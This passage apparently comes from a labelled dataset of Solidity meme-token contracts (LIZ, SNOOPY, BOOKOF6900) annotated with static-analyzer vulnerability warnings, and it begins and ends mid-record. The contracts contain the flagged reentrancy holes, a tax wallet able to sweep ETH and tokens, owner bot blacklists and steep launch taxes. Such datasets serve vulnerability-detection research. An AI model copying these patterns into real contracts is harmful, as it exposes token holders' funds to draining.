_reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: e3b63ee\n\t\t\t\t// reentrancy-eth | ID: e1c354e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e3b63ee\n\t\t\t\t\t// reentrancy-eth | ID: e1c354e\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: e1c354e\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: e1c354e\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e1c354e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e3b63ee\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e1c354e\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e1c354e\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e3b63ee\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 30026ef\n\t\t// reentrancy-events | ID: e3b63ee\n\t\t// reentrancy-benign | ID: c2cb75d\n\t\t// reentrancy-eth | ID: e1c354e\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6ba01db): LIZ.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 6ba01db: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 30026ef\n\t\t// reentrancy-events | ID: e3b63ee\n\t\t// reentrancy-eth | ID: e1c354e\n\t\t// arbitrary-send-eth | ID: 6ba01db\n _taxWallet.transfer(amount);\n }\n\n function addbot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delbot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c1b06b5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c1b06b5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e7a6eb5): LIZ.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e7a6eb5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 63a3e02): LIZ.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 63a3e02: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 85eb758): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 85eb758: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: c1b06b5\n\t\t// reentrancy-eth | ID: 85eb758\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: c1b06b5\n\t\t// unused-return | ID: e7a6eb5\n\t\t// reentrancy-eth | ID: 85eb758\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c1b06b5\n\t\t// unused-return | ID: 63a3e02\n\t\t// reentrancy-eth | ID: 85eb758\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: c1b06b5\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 85eb758\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n function removeTax() external {\n require(_msgSender() == _taxWallet);\n\n _finalBuyTax = 0;\n\n _finalSellTax = 0;\n\n _initialBuyTax = 0;\n\n _initialSellTax = 0;\n\n _transferTax = 0;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function withdrawETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n", "file_name": "solidity_code_10302.sol", "size_bytes": 20138, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract SNOOPY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 28c327b): SNOOPY.bots is never initialized. It is used in SNOOPY._transfer(address,address,uint256)\n\t// Recommendation for 28c327b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 35a72b4): SNOOPY._taxWallet should be immutable \n\t// Recommendation for 35a72b4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9ce0d9a): SNOOPY._initialBuyTax should be constant \n\t// Recommendation for 9ce0d9a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8cc7553): SNOOPY._initialSellTax should be constant \n\t// Recommendation for 8cc7553: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 298d19e): SNOOPY._reduceBuyTaxAt should be constant \n\t// Recommendation for 298d19e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f103e0): SNOOPY._reduceSellTaxAt should be constant \n\t// Recommendation for 2f103e0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: d383f50): SNOOPY._preventSwapBefore should be constant \n\t// Recommendation for d383f50: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Snoopy\";\n\n string private constant _symbol = unicode\"SNOOPY\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: af8877e): SNOOPY._taxSwapThreshold should be constant \n\t// Recommendation for af8877e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e4fc3a1): SNOOPY._maxTaxSwap should be constant \n\t// Recommendation for e4fc3a1: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1500000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 053dcbd): SNOOPY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 053dcbd: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d42d953): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d42d953: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5263bfa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5263bfa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d42d953\n\t\t// reentrancy-benign | ID: 5263bfa\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d42d953\n\t\t// reentrancy-benign | ID: 5263bfa\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0a2678d): SNOOPY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0a2678d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5263bfa\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d42d953\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cb1de2a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cb1de2a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 28c327b): SNOOPY.bots is never initialized. It is used in SNOOPY._transfer(address,address,uint256)\n\t// Recommendation for 28c327b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e01abee): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e01abee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: cb1de2a\n\t\t\t\t// reentrancy-eth | ID: e01abee\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: cb1de2a\n\t\t\t\t\t// reentrancy-eth | ID: e01abee\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: e01abee\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: e01abee\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e01abee\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: cb1de2a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e01abee\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e01abee\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: cb1de2a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d42d953\n\t\t// reentrancy-events | ID: cb1de2a\n\t\t// reentrancy-benign | ID: 5263bfa\n\t\t// reentrancy-eth | ID: e01abee\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8e28660): SNOOPY.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8e28660: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d42d953\n\t\t// reentrancy-events | ID: cb1de2a\n\t\t// reentrancy-eth | ID: e01abee\n\t\t// arbitrary-send-eth | ID: 8e28660\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4bc93db): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4bc93db: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ad22aae): SNOOPY.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ad22aae: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 687ce98): SNOOPY.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 687ce98: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4715cbb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4715cbb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 4bc93db\n\t\t// reentrancy-eth | ID: 4715cbb\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 4bc93db\n\t\t// unused-return | ID: 687ce98\n\t\t// reentrancy-eth | ID: 4715cbb\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 4bc93db\n\t\t// unused-return | ID: ad22aae\n\t\t// reentrancy-eth | ID: 4715cbb\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 4bc93db\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 4715cbb\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: c004577): SNOOPY.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for c004577: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: c004577\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n", "file_name": "solidity_code_10303.sol", "size_bytes": 21094, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BOOKOF6900 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d001ac3): BOOKOF6900._taxWallet should be immutable \n\t// Recommendation for d001ac3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9801b8e): BOOKOF6900._initialBuyTax should be constant \n\t// Recommendation for 9801b8e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: a323bef): BOOKOF6900._initialSellTax should be constant \n\t// Recommendation for a323bef: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4683f38): BOOKOF6900._reduceBuyTaxAt should be constant \n\t// Recommendation for 4683f38: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c89434): BOOKOF6900._reduceSellTaxAt should be constant \n\t// Recommendation for 5c89434: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f89197): BOOKOF6900._preventSwapBefore should be constant \n\t// Recommendation for 3f89197: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Book Of 6900\"; //\n\n string private constant _symbol = unicode\"$BOOK6900\"; //\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7c29552): BOOKOF6900._taxSwapThreshold should be constant \n\t// 